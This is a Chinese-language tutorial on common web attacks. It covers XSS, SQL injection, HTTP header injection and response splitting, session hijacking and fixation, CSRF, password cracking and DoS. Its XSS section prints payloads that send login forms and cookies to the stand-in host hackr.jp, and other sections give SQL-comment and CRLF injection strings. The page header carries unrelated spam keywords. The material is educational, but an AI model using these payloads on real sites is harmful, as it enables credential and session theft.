狠狠色丁香婷婷综合尤物/久久精品综合一区二区三区/中国有色金属学报/国产日韩欧美在线观看 - 国产一区二区三区四区五区tv

LOGO OA教程 ERP教程 模切知識(shí)交流 PMS教程 CRM教程 開發(fā)文檔 其他文檔  
 
網(wǎng)站管理員

常見的Web攻擊技術(shù)及防范方法

admin
2023年10月30日 10:45 本文熱度 1177


前言

互聯(lián)網(wǎng)上的攻擊大都將 Web 站點(diǎn)作為目標(biāo)。 本章講解具體有哪些攻擊 Web 站點(diǎn)的手段, 以及攻擊會(huì)造成怎樣的影響

簡單的 HTTP 協(xié)議本身并不存在安全性問題, 因此協(xié)議本身幾乎不會(huì)成為攻擊的對(duì)象。 應(yīng)用 HTTP 協(xié)議的服務(wù)器和客戶端, 以及運(yùn)行在服務(wù)器上的 Web 應(yīng)用等資源才是攻擊目標(biāo)。

HTTP 不具備必要的安全功能

  • 與最初的設(shè)計(jì)相比, 現(xiàn)今的 Web 網(wǎng)站應(yīng)用的 HTTP 協(xié)議的使用方式已發(fā)生了翻天覆地的變化。 幾乎現(xiàn)今所有的 Web 網(wǎng)站都會(huì)使用會(huì)話(session) 管理、 加密處理等安全性方面的功能, 而 HTTP 協(xié)議內(nèi)并不具備這些功能。

  • 從整體上看, HTTP 就是一個(gè)通用的單純協(xié)議機(jī)制。 因此它具備較多優(yōu)勢(shì), 但是在安全性方面則呈劣勢(shì)。

    • 就拿遠(yuǎn)程登錄時(shí)會(huì)用到的 SSH 協(xié)議來說, SSH 具備協(xié)議級(jí)別的認(rèn)證及會(huì)話管理等功能, HTTP 協(xié)議則沒有。 另外在架設(shè) SSH 服務(wù)方面,任何人都可以輕易地創(chuàng)建安全等級(jí)高的服務(wù), 而 HTTP 即使已架設(shè)好服務(wù)器, 但若想提供服務(wù)器基礎(chǔ)上的 Web 應(yīng)用, 很多情況下都需要重新開發(fā)。

    • 因此, 開發(fā)者需要自行設(shè)計(jì)并開發(fā)認(rèn)證及會(huì)話管理功能來滿足 Web應(yīng)用的安全。 而自行設(shè)計(jì)就意味著會(huì)出現(xiàn)各種形形色色的實(shí)現(xiàn)。 結(jié)果, 安全等級(jí)并不完備, 可仍在運(yùn)作的 Web 應(yīng)用背后卻隱藏著各種容易被攻擊者濫用的安全漏洞的 Bug。

在客戶端即可篡改請(qǐng)求

  • 在 Web 應(yīng)用中, 從瀏覽器那接收到的 HTTP 請(qǐng)求的全部內(nèi)容, 都可以在客戶端自由地變更、 篡改。 所以 Web 應(yīng)用可能會(huì)接收到與預(yù)期數(shù)據(jù)不相同的內(nèi)容。

  • 在 HTTP 請(qǐng)求報(bào)文內(nèi)加載攻擊代碼, 就能發(fā)起對(duì) Web 應(yīng)用的攻擊。通過 URL查詢字段或表單、 HTTP 首部、 Cookie 等途徑把攻擊代碼傳入, 若這時(shí) Web 應(yīng)用存在安全漏洞, 那內(nèi)部信息就會(huì)遭到竊取, 或被攻擊者拿到管理權(quán)限

針對(duì) Web 應(yīng)用的攻擊模式

對(duì) Web 應(yīng)用的攻擊模式有以下兩種。

  • 主動(dòng)攻擊

  • 被動(dòng)攻擊

以服務(wù)器為目標(biāo)的主動(dòng)攻擊

主動(dòng)攻擊(active attack) 是指攻擊者通過直接訪問 Web 應(yīng)用,把攻擊代碼傳入的攻擊模式。 由于該模式是直接針對(duì)服務(wù)器上的資源進(jìn)行攻擊, 因此攻擊者需要能夠訪問到那些資源。

  • 主動(dòng)攻擊模式里具有代表性的攻擊是 SQL注入攻擊和 OS 命令注入攻擊

以服務(wù)器為目標(biāo)的被動(dòng)攻擊
被動(dòng)攻擊(passive attack) 是指利用圈套策略執(zhí)行攻擊代碼的攻擊模式。 在被動(dòng)攻擊過程中, 攻擊者不直接對(duì)目標(biāo) Web 應(yīng)用訪問發(fā)起攻擊。
被動(dòng)攻擊通常的攻擊模式如下所示。

  • 步驟 1: 攻擊者誘使用戶觸發(fā)已設(shè)置好的陷阱, 而陷阱會(huì)啟動(dòng)發(fā)送已嵌入攻擊代碼的 HTTP 請(qǐng)求。

  • 步驟 2: 當(dāng)用戶不知不覺中招之后, 用戶的瀏覽器或郵件客戶端就會(huì)觸發(fā)這個(gè)陷阱。

  • 步驟 3: 中招后的用戶瀏覽器會(huì)把含有攻擊代碼的 HTTP 請(qǐng)求發(fā)送給作為攻擊目標(biāo)的 Web 應(yīng)用, 運(yùn)行攻擊代碼。

  • 步驟 4: 執(zhí)行完攻擊代碼, 存在安全漏洞的 Web 應(yīng)用會(huì)成為攻擊者的跳板, 可能導(dǎo)致用戶所持的 Cookie 等個(gè)人信息被竊取,登錄狀態(tài)中的用戶權(quán)限遭惡意濫用等后果。

被動(dòng)攻擊模式中具有代表性的攻擊是跨站腳本攻擊和跨站點(diǎn)請(qǐng)求偽造。

  • 企業(yè)內(nèi)網(wǎng)攻破

因輸出值轉(zhuǎn)義不完全引發(fā)的安全漏洞

實(shí)施 Web 應(yīng)用的安全對(duì)策可大致分為以下兩部分??蛻舳说尿?yàn)證 Web 應(yīng)用端( 服務(wù)器端) 的驗(yàn)證輸入值驗(yàn)證輸出值轉(zhuǎn)義

  • 多數(shù)情況下采用 Javascript 在客戶端驗(yàn)證數(shù)據(jù)。 可是在客戶端允許篡改數(shù)據(jù)或關(guān)閉 Javascript, 不適合將 Javascript 驗(yàn)證作為安全的防范對(duì)策。 保留客戶端驗(yàn)證只是為了盡早地辨識(shí)輸入錯(cuò)誤, 起到提高 UI體驗(yàn)的作用。

  • Web 應(yīng)用端的輸入值驗(yàn)證按 Web 應(yīng)用內(nèi)的處理則有可能被誤認(rèn)為是具有攻擊性意義的代碼。 輸入值驗(yàn)證通常是指檢查是否是符合系統(tǒng)業(yè)務(wù)邏輯的數(shù)值或檢查字符編碼等預(yù)防對(duì)策。

  • 從數(shù)據(jù)庫或文件系統(tǒng)、 HTML、 郵件等輸出 Web 應(yīng)用處理的數(shù)據(jù)之際, 針對(duì)輸出做值轉(zhuǎn)義處理是一項(xiàng)至關(guān)重要的安全策略。 當(dāng)輸出值轉(zhuǎn)義不完全時(shí), 會(huì)因觸發(fā)攻擊者傳入的攻擊代碼, 而給輸出對(duì)象帶來損害。

跨站腳本攻擊XSS

跨站腳本攻擊(Cross-Site scripting, XSS) 是指通過存在安全漏洞的Web 網(wǎng)站注冊(cè)用戶的瀏覽器內(nèi)運(yùn)行非法的 HTML標(biāo)簽或 Javascript 進(jìn)行的一種攻擊。 動(dòng)態(tài)創(chuàng)建的 HTML部分有可能隱藏著安全漏洞。 就這樣, 攻擊者編寫腳本設(shè)下陷阱, 用戶在自己的瀏覽器上運(yùn)行時(shí), 一不小心就會(huì)受到被動(dòng)攻擊。
跨站腳本攻擊有可能造成以下影響。

  • 利用虛假輸入表單騙取用戶個(gè)人信息。

  • 利用腳本竊取用戶的 Cookie 值, 被害者在不知情的情況下,幫助攻擊者發(fā)送惡意請(qǐng)求。

  • 顯示偽造的文章或圖片。

XSS實(shí)例

初始XSS

此時(shí)的確認(rèn)界面上, 瀏覽器會(huì)把用戶輸入的 <s> 解析成 HTML標(biāo)簽, 然后顯示刪除線。

  • 刪除線顯示出來并不會(huì)造成太大的不利后果, 但如果換成使用script 標(biāo)簽將會(huì)如何呢。

  • XSS 是攻擊者利用預(yù)先設(shè)置的陷阱觸發(fā)的被動(dòng)攻擊跨站腳本攻擊屬于被動(dòng)攻擊模式, 因此攻擊者會(huì)事先布置好用于攻擊的陷阱

嚴(yán)重的例子——盜取用戶個(gè)人信息

網(wǎng)站通過地址欄中 URI 的查詢字段指定 ID, 即相當(dāng)于在表單內(nèi)自動(dòng)填寫字符串的功能。 而就在這個(gè)地方, 隱藏著可執(zhí)行跨站腳本攻擊的漏洞。

對(duì)請(qǐng)求時(shí)對(duì)應(yīng)的HTML源代碼(摘錄)

<div class="logo"><img src="/img/logo.gif" alt="E! 拍賣會(huì)" /></div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id"> ID <input type="text" name="ID" value="yama" />
</div>

充分熟知此處漏洞特點(diǎn)的攻擊者, 于是就創(chuàng)建了下面這段嵌入惡意代碼的 URL。 并隱藏植入事先準(zhǔn)備好的欺詐郵件中或 Web 頁面內(nèi), 誘使用戶去點(diǎn)擊該 URL。

http://example.jp/login?ID= "> <script> var +f=document.getElementById("login"); +f.action="http://hackr.jp/pwget;  f.method="get"; </script> <span+s="
<div class="logo"><img src="/img/logo.gif" alt="E! 拍賣會(huì) /></div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id"> ID <input type="text" name="ID" value=" "> <script> var f=document.getElementById("login"); f.action="http://hackr.jp/pwget;  f.method="get"; </script> <span s=" "/>
</div>

瀏覽器打開該 URI 后, 直觀感覺沒有發(fā)生任何變化, 但設(shè)置好的腳本卻偷偷開始運(yùn)行了。 當(dāng)用戶在表單內(nèi)輸入 ID 和密碼之后,就會(huì)直接發(fā)送到攻擊者的網(wǎng)站(也就是 hackr.jp) , 導(dǎo)致個(gè)人登錄信息被竊取

對(duì)用戶 Cookie 的竊取攻擊

除了在表單中設(shè)下圈套之外, 下面那種惡意構(gòu)造的腳本同樣能夠以跨站腳本攻擊的方式, 竊取到用戶的 Cookie 信息。

<script src=http://hackr.jp/xss.js></script>

該腳本內(nèi)指定的 http://hackr.jp/xss.js 文件。 即下面這段采用Javascript 編寫的代碼。

var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);document.write(">");

在存在可跨站腳本攻擊安全漏洞的 Web 應(yīng)用上執(zhí)行上面這段Javascript 程序, 即可訪問到該 Web 應(yīng)用所處域名下的 Cookie 信息。 然 后這些信息會(huì)發(fā)送至攻擊者的 Web 網(wǎng)站(http://hackr.jp/) , 記錄在他的登錄日志中。 結(jié)果, 攻擊者就這樣竊取到用戶的 Cookie 信息了。

SQL 注入攻擊

SQL注入(SQL Injection) 是指針對(duì) Web 應(yīng)用使用的數(shù)據(jù)庫, 通過運(yùn)行非法的 SQL而產(chǎn)生的攻擊。 該安全隱患有可能引發(fā)極大的威脅, 有時(shí)會(huì)直接導(dǎo)致個(gè)人信息及機(jī)密信息的泄露。
Web 應(yīng)用通常都會(huì)用到數(shù)據(jù)庫, 當(dāng)需要對(duì)數(shù)據(jù)庫表內(nèi)的數(shù)據(jù)進(jìn)行檢索或添加、 刪除等操作時(shí), 會(huì)使用 SQL語句連接數(shù)據(jù)庫進(jìn)行特定的操作。 如果在調(diào)用 SQL語句的方式上存在疏漏, 就有可能執(zhí)行被惡意注入(Injection) 非法 SQL語句。

SQL注入攻擊有可能會(huì)造成以下等影響

  • 非法查看或篡改數(shù)據(jù)庫內(nèi)的數(shù)據(jù)

  • 規(guī)避認(rèn)證

  • 執(zhí)行和數(shù)據(jù)庫服務(wù)器業(yè)務(wù)關(guān)聯(lián)的程序等

實(shí)例

  • 我們要進(jìn)行搜索關(guān)于上野宣相關(guān)的數(shù)據(jù),并且是滿足可以銷售的

    • select * from bookTbl where author = ‘上野宣’ and flag = 1 用這句SQL搜索出對(duì)對(duì)應(yīng)的數(shù)據(jù)

  • 但是如果對(duì)SQL語句做手腳,也就是對(duì)q進(jìn)行做手腳 q=上野宣’ - - ,如果不做處理,后端對(duì)應(yīng)的SQL語句為

    • select * from bookTbl where author =‘上野宣’ - -’ and flag=1;

    • SQL語句中的 – 之后全視為注釋。 即, and flag=1 這個(gè)條件被自動(dòng)忽略了。 也就會(huì)顯示那些不可銷售的書籍

本案例中的問題僅僅是把未出版書籍的條目也一同顯示出來了。但實(shí)際發(fā)生 SQL注入攻擊時(shí), 很有可能會(huì)導(dǎo)致用戶信息或結(jié)算內(nèi)容等其他數(shù)據(jù)表的非法瀏覽及篡改, 從而使用戶遭受不同程度的損失。

HTTP 首部注入攻擊

HTTP 首部注入攻擊(HTTP Header Injection) 是指攻擊者通過在響應(yīng)首部字段內(nèi)插入換行, 添加任意響應(yīng)首部或主體的一種攻擊。 屬于被動(dòng)攻擊模式。向首部主體內(nèi)添加內(nèi)容的攻擊稱為 HTTP 響應(yīng)截?cái)喙簦℉TTPResponse Splitting Attack) 。
如下所示, Web 應(yīng)用有時(shí)會(huì)把從外部接收到的數(shù)值, 賦給響應(yīng)首部字段 Location 和 Set-Cookie。

  • Location: http://www.example.com/a.cgi?q=12345

  • Set-Cookie: UID=12345

HTTP 首部注入可能像這樣, 通過在某些響應(yīng)首部字段需要處理輸出值的地方, 插入換行發(fā)動(dòng)攻擊。

HTTP 首部注入攻擊有可能會(huì)造成以下一些影響。

  • 設(shè)置任何 Cookie 信息

  • 重定向至任意 URL

  • 顯示任意的主體( HTTP 響應(yīng)截?cái)喙簦?/p>

HTTP 首部注入攻擊案例

  • 下面我們以選定某個(gè)類別后即可跳轉(zhuǎn)至各類別對(duì)應(yīng)頁面的功能為

  • 講解 HTTP 首部注入攻擊。 該功能為每個(gè)類別都設(shè)定了一個(gè)類別 ID 值, 一旦選定某類別, 就會(huì)將該 ID 值反映在響應(yīng)內(nèi)的Location 首部字段內(nèi), 形如 Location: http://example.com/?cat=101。 令瀏覽器發(fā)生重定向跳轉(zhuǎn)。

攻擊者以下面的內(nèi)容替代之前的類別 ID 后發(fā)送請(qǐng)求。

  • 101%0D%0ASet-Cookie:+SID=123456789

    • 其中, %0D%0A 代表 HTTP 報(bào)文中的換行符, 緊接著的是可強(qiáng)制將攻擊者網(wǎng)站(http://hackr.jp/) 的會(huì)話 ID 設(shè)置成SID=123456789 的 Set-Cookie 首部字段。

  • 發(fā)送該請(qǐng)求之后, 假設(shè)結(jié)果返回以下響應(yīng)。

- Location: http://example.com/?cat=101(%0D%0A : 換行符)
- Set-Cookie: SID=123456789

此刻, 首部字段 Set-Cookie 已生效, 因此攻擊者可指定修改任意的 Cookie 信息。 通過和會(huì)話固定攻擊(攻擊者可使用指定的會(huì)話 ID) 攻擊組合, 攻擊者可偽裝成用戶。攻擊者輸入的 %0D%0A, 原本應(yīng)該屬于首部字段 Location 的查詢值部分, 但經(jīng)過解析后, %0D%0A 變成了換行符, 結(jié)果插入了新的首部字段。這樣一來, 攻擊者可在響應(yīng)中插入任意的首部字段。

HTTP 響應(yīng)截?cái)喙?/h4>

HTTP 響應(yīng)截?cái)喙羰怯迷?HTTP 首部注入的一種攻擊。 攻擊順序相同, 但是要將兩個(gè) %0D%0A%0D%0A 并排插入字符串后發(fā)送。 利用這兩個(gè)連續(xù)的換行就可作出 HTTP 首部與主體分隔所需的空行了, 這樣就能顯示偽造的主體, 達(dá)到攻擊目的。 這樣的攻擊叫做 HTTP 響應(yīng)截?cái)喙簟?/p>

  • %0D%0A%0D%0A <HTML><HEAD><TITLE>之后, 想要顯示的網(wǎng)頁內(nèi)容

  • 在可能進(jìn)行 HTTP 首部注入的環(huán)節(jié), 通過發(fā)送上面的字符串, 返回結(jié)果得到以下這種響應(yīng)。

- Set-Cookie: UID=(%0D%0A : 換行符)
- (%0D%0A : 換行符)
- <HTML><HEAD><TITLE>之后, 想要顯示的網(wǎng)頁內(nèi)容 <!--(原來頁面對(duì)應(yīng)的首部字
  • 利用這個(gè)攻擊, 已觸發(fā)陷阱的用戶瀏覽器會(huì)顯示偽造的 Web 頁面, 再讓用戶輸入自己的個(gè)人信息等, 可達(dá)到和跨站腳本攻擊相同的效果。

  • 另外, 濫用 HTTP/1.1 中匯集多響應(yīng)返回功能, 會(huì)導(dǎo)致緩存服務(wù)器對(duì)任意內(nèi)容進(jìn)行緩存操作。 這種攻擊稱為緩存污染。 使用該緩存服務(wù)器的用戶, 在瀏覽遭受攻擊的網(wǎng)站時(shí), 會(huì)不斷地瀏覽被替換掉的 Web 網(wǎng)頁。

因會(huì)話管理疏忽引發(fā)的安全漏洞

會(huì)話劫持

會(huì)話劫持(Session Hijack) 是指攻擊者通過某種手段拿到了用戶的會(huì)話 ID, 并非法使用此會(huì)話 ID 偽裝成用戶, 達(dá)到攻擊的目的

。
具備認(rèn)證功能的 Web 應(yīng)用, 使用會(huì)話 ID 的會(huì)話管理機(jī)制, 作為管理認(rèn)證狀態(tài)的主流方式。 會(huì)話 ID 中記錄客戶端的 Cookie 等信息, 服務(wù)器端將會(huì)話 ID 與認(rèn)證狀態(tài)進(jìn)行一對(duì)一匹配管理。
下面列舉了幾種攻擊者可獲得會(huì)話 ID 的途徑。

  • 通過非正規(guī)的生成方法推測會(huì)話 ID

  • 通過竊聽或 XSS 攻擊盜取會(huì)話 ID

  • 通過會(huì)話固定攻擊( Session Fixation) 強(qiáng)行獲取會(huì)話 ID

會(huì)話劫持攻擊案例

我們以認(rèn)證功能為例講解會(huì)話劫持。 這里的認(rèn)證功能通過會(huì)話管理機(jī)制, 會(huì)將成功認(rèn)證的用戶的會(huì)話 ID(SID) 保存在用戶瀏覽器的 Cookie 中。

  • 攻擊者在得知該 Web 網(wǎng)站存在可跨站攻擊(XSS) 的安全漏洞后, 就設(shè)置好用 Javascript 腳本調(diào)用 document.cookie 以竊取Cookie 信息的陷阱, 一旦用戶踏入陷阱(訪問了該腳本) , 攻擊者就能獲取含有會(huì)話 ID 的 Cookie。

  • 攻擊者拿到用戶的會(huì)話 ID 后, 往自己的瀏覽器的 Cookie 中設(shè)置該會(huì)話 ID, 即可偽裝成會(huì)話 ID 遭竊的用戶, 訪問 Web 網(wǎng)站了。

會(huì)話固定攻擊

對(duì)以竊取目標(biāo)會(huì)話 ID 為主動(dòng)攻擊手段的會(huì)話劫持而言, 會(huì)話固定攻擊(Session Fixation) 攻擊會(huì)強(qiáng)制用戶使用攻擊者指定的會(huì)話 ID, 屬于被動(dòng)攻擊。

會(huì)話固定攻擊案例
這個(gè) Web 網(wǎng)站的認(rèn)證功能, 會(huì)在認(rèn)證前發(fā)布一個(gè)會(huì)話 ID, 若認(rèn)證成功, 就會(huì)在服務(wù)器內(nèi)改變認(rèn)證狀態(tài)。

  • 攻擊者準(zhǔn)備陷阱, 先訪問 Web 網(wǎng)站拿到會(huì)話ID(SID=f5d1278e8109) 。 此刻, 會(huì)話 ID 在服務(wù)器上的記錄仍是(未認(rèn)證) 狀態(tài)。 (步驟① ~ ②)

  • 攻擊者設(shè)置好強(qiáng)制用戶使用該會(huì)話 ID 的陷阱, 并等待用戶拿著這個(gè)會(huì)話 ID 前去認(rèn)證。 一旦用戶觸發(fā)陷阱并完成認(rèn)證, 會(huì)話ID(SID=f5d1278e8109) 在服務(wù)器上的狀態(tài)(用戶 A 已認(rèn)證) 就會(huì)被記錄下來。 (步驟③)

  • 攻擊者估計(jì)用戶差不多已觸發(fā)陷阱后, 再利用之前這個(gè)會(huì)話 ID訪問網(wǎng)站。 由于該會(huì)話 ID 目前已是(用戶 A 已認(rèn)證) 狀態(tài), 于是攻擊者作為用戶 A 的身份順利登錄網(wǎng)站。 (步驟④)

Session Adoption

  • Session Adoption 是指 PHP 或 ASP.NET 能夠接收處理未知會(huì)話 ID的功能。惡意使用該功能便可跳過會(huì)話固定攻擊的準(zhǔn)備階段, 從 Web 網(wǎng)站 獲得發(fā)行的會(huì)話 ID 的步驟。 即, 攻擊者可私自創(chuàng)建會(huì)話 ID構(gòu)成陷阱, 中間件卻會(huì)誤以為該會(huì)話 ID 是未知會(huì)話 ID 而接受。

跨站點(diǎn)請(qǐng)求偽造CSRF

跨站點(diǎn)請(qǐng)求偽造(Cross-Site Request Forgeries, CSRF) 攻擊是指攻擊者通過設(shè)置好的陷阱, 強(qiáng)制對(duì)已完成認(rèn)證的用戶進(jìn)行非預(yù)期的個(gè)人信息或設(shè)定信息等某些狀態(tài)更新, 屬于被動(dòng)攻擊。
跨站點(diǎn)請(qǐng)求偽造有可能會(huì)造成以下等影響。

  • 利用已通過認(rèn)證的用戶權(quán)限更新設(shè)定信息等

  • 利用已通過認(rèn)證的用戶權(quán)限購買商品

  • 利用已通過認(rèn)證的用戶權(quán)限在留言板上發(fā)表言論

跨站點(diǎn)請(qǐng)求偽造的攻擊案例

下面以留言板功能為例, 講解跨站點(diǎn)請(qǐng)求偽造。 該功能只允許已認(rèn)證并登錄的用戶在留言板上發(fā)表內(nèi)容。

  • 在該留言板系統(tǒng)上, 受害者用戶 A 是已認(rèn)證狀態(tài)。 它的瀏覽器中的 Cookie 持有已認(rèn)證的會(huì)話 ID(步驟①) 。

  • 攻擊者設(shè)置好一旦用戶訪問, 即會(huì)發(fā)送在留言板上發(fā)表非主觀行為產(chǎn)生的評(píng)論的請(qǐng)求的陷阱。 用戶 A 的瀏覽器執(zhí)行完陷阱中的請(qǐng)求后, 留言板上也就會(huì)留下那條評(píng)論(步驟②) 。

  • 觸發(fā)陷阱之際, 如果用戶 A 尚未通過認(rèn)證, 則無法利用用戶 A的身份權(quán)限在留言板上發(fā)表內(nèi)容

其他安全漏洞

密碼破解

密碼破解攻擊(Password Cracking) 即算出密碼, 突破認(rèn)證。 攻擊不僅限于 Web 應(yīng)用, 還包括其他的系統(tǒng)(如 FTP 或 SSH 等) , 本節(jié)將會(huì)講解對(duì)具備認(rèn)證功能的 Web 應(yīng)用進(jìn)行的密碼破解。
密碼破解有以下兩種手段。

  • 通過網(wǎng)絡(luò)的密碼試錯(cuò)

  • 對(duì)已加密密碼的破解( 指攻擊者入侵系統(tǒng), 已獲得加密或散列處理的密碼數(shù)據(jù)的情況)

  • 除去突破認(rèn)證的攻擊手段, 還有 SQL注入攻擊逃避認(rèn)證, 跨站腳本攻擊竊取密碼信息等方法。

通過網(wǎng)絡(luò)進(jìn)行密碼試錯(cuò)

對(duì) Web 應(yīng)用提供的認(rèn)證功能, 通過網(wǎng)絡(luò)嘗試候選密碼進(jìn)行的一種攻擊。 主要有以下兩種方式。

  • 窮舉法

  • 字典攻擊

窮舉法

  • 窮舉法(Brute-force Attack, 又稱暴力破解法) 是指對(duì)所有密鑰集合構(gòu)成的密鑰空間(Keyspace) 進(jìn)行窮舉。 即, 用所有可行的候選密碼對(duì)目標(biāo)的密碼系統(tǒng)試錯(cuò), 用以突破驗(yàn)證的一種攻擊。

    • 比如銀行采用的個(gè)人識(shí)別碼是由“4 位數(shù)字”組成的密碼, 那么就要從 0000~9999 中的全部數(shù)字逐個(gè)進(jìn)行嘗試。 這樣一來, 必定在候選的密碼集合中存在一個(gè)正確的密碼, 可通過認(rèn)證。

  • 因?yàn)楦F舉法會(huì)嘗試所有的候選密碼, 所以是一種必然能夠破解密碼的攻擊。 但是, 當(dāng)密鑰空間很龐大時(shí), 解密可能需要花費(fèi)數(shù)年, 甚至千年的時(shí)間, 因此從現(xiàn)實(shí)角度考量, 攻擊是失敗的。

字典攻擊

  • 字典攻擊是指利用事先收集好的候選密碼(經(jīng)過各種組合方式后存入字典) , 枚舉字典中的密碼, 嘗試通過認(rèn)證的一種攻擊手法。

    • 還是舉銀行采用個(gè)人識(shí)別碼是“4 位數(shù)字”的密碼的例子, 考慮到用戶使用自己的生日做密碼的可能性較高, 于是就可以把生日日期數(shù)值化, 如將 0101~1231 保存成字典, 進(jìn)行嘗試。

  • 與窮舉法相比, 由于需要嘗試的候選密碼較少, 意味著攻擊耗費(fèi)的時(shí)間比較短。 但是, 如果字典中沒有正確的密碼, 那就無法破解成功。 因此攻擊的成敗取決于字典的內(nèi)容。

利用別處泄露的 ID·密碼進(jìn)行攻擊字典攻擊中有一種利用其他 Web 網(wǎng)站已泄露的 ID 及密碼列表進(jìn)行的攻擊。 很多用戶習(xí)慣隨意地在多個(gè) Web 網(wǎng)站使用同一套 ID 及密碼, 因此攻擊會(huì)有相當(dāng)高的成功幾率

對(duì)已加密密碼的破解

Web 應(yīng)用在保存密碼時(shí), 一般不會(huì)直接以明文的方式保存, 通過散列函數(shù)做散列處理或加 salt 的手段對(duì)要保存的密碼本身加密。那即使攻擊者使用某些手段竊取密碼數(shù)據(jù), 如果想要真正使用這些密碼, 則必須先通過解碼等手段, 把加密處理的密碼還原成明文形式。


從加密過的數(shù)據(jù)中導(dǎo)出明文通常有以下幾種方法。

  • 通過窮舉法·字典攻擊進(jìn)行類推

  • 彩虹表

  • 拿到密鑰

  • 加密算法的漏洞

通過窮舉法·字典攻擊進(jìn)行類推

  • 針對(duì)密碼使用散列函數(shù)進(jìn)行加密處理的情況, 采用和窮舉法或字典攻擊相同的手法, 嘗試調(diào)用相同的散列函數(shù)加密候選密碼, 然后把計(jì)算出的散列值與目標(biāo)散列值匹配, 類推出密碼。

彩虹表
彩虹表(Rainbow Table) 是由明文密碼及與之對(duì)應(yīng)的散列值構(gòu)成的一張數(shù)據(jù)庫表, 是一種通過事先制作龐大的彩虹表, 可在窮舉法 • 字典攻擊等實(shí)際破解過程中縮短消耗時(shí)間的技巧。 從彩虹表內(nèi)搜索散列值就可以推導(dǎo)出對(duì)應(yīng)的明文密碼

拿到密鑰
使用共享密鑰加密方式對(duì)密碼數(shù)據(jù)進(jìn)行加密處理的情況下, 如果能通過某種手段拿到加密使用的密鑰, 也就可以對(duì)密碼數(shù)據(jù)解密了。
加密算法的漏洞
考慮到加密算法本身可能存在的漏洞, 利用該漏洞嘗試解密也是一種可行的方法。 但是要找到那些已廣泛使用的加密算法的漏洞, 又談何容易, 因此困難極大, 不易成功。而 Web 應(yīng)用開發(fā)者獨(dú)立實(shí)現(xiàn)的加密算法, 想必尚未經(jīng)過充分的驗(yàn)證, 還是很有可能存在漏洞的

DoS 攻擊

DoS 攻擊(Denial of Service attack) 是一種讓運(yùn)行中的服務(wù)呈停止?fàn)顟B(tài)的攻擊。 有時(shí)也叫做服務(wù)停止攻擊或拒絕服務(wù)攻擊。 DoS 攻擊的對(duì)象不僅限于 Web 網(wǎng)站, 還包括網(wǎng)絡(luò)設(shè)備及服務(wù)器等。
主要有以下兩種 DoS 攻擊方式。

  • 集中利用訪問請(qǐng)求造成資源過載, 資源用盡的同時(shí), 實(shí)際上服務(wù)也就呈停止?fàn)顟B(tài)。

  • 通過攻擊安全漏洞使服務(wù)停止。

其中, 集中利用訪問請(qǐng)求的 DoS 攻擊, 單純來講就是發(fā)送大量的合法請(qǐng)求。 服務(wù)器很難分辨何為正常請(qǐng)求, 何為攻擊請(qǐng)求, 因此很難防止 DoS 攻擊。

  • 多臺(tái)計(jì)算機(jī)發(fā)起的 DoS 攻擊稱為 DDoS 攻擊(Distributed Denial ofService attack) 。 DDoS 攻擊通常利用那些感染病毒的計(jì)算機(jī)作為攻擊者的攻擊跳板。


該文章在 2023/10/30 10:52:38 編輯過
關(guān)鍵字查詢
相關(guān)文章
正在查詢...
點(diǎn)晴ERP是一款針對(duì)中小制造業(yè)的專業(yè)生產(chǎn)管理軟件系統(tǒng),系統(tǒng)成熟度和易用性得到了國內(nèi)大量中小企業(yè)的青睞。
點(diǎn)晴PMS碼頭管理系統(tǒng)主要針對(duì)港口碼頭集裝箱與散貨日常運(yùn)作、調(diào)度、堆場、車隊(duì)、財(cái)務(wù)費(fèi)用、相關(guān)報(bào)表等業(yè)務(wù)管理,結(jié)合碼頭的業(yè)務(wù)特點(diǎn),圍繞調(diào)度、堆場作業(yè)而開發(fā)的。集技術(shù)的先進(jìn)性、管理的有效性于一體,是物流碼頭及其他港口類企業(yè)的高效ERP管理信息系統(tǒng)。
點(diǎn)晴WMS倉儲(chǔ)管理系統(tǒng)提供了貨物產(chǎn)品管理,銷售管理,采購管理,倉儲(chǔ)管理,倉庫管理,保質(zhì)期管理,貨位管理,庫位管理,生產(chǎn)管理,WMS管理系統(tǒng),標(biāo)簽打印,條形碼,二維碼管理,批號(hào)管理軟件。
點(diǎn)晴免費(fèi)OA是一款軟件和通用服務(wù)都免費(fèi),不限功能、不限時(shí)間、不限用戶的免費(fèi)OA協(xié)同辦公管理系統(tǒng)。
Copyright 2010-2025 ClickSun All Rights Reserved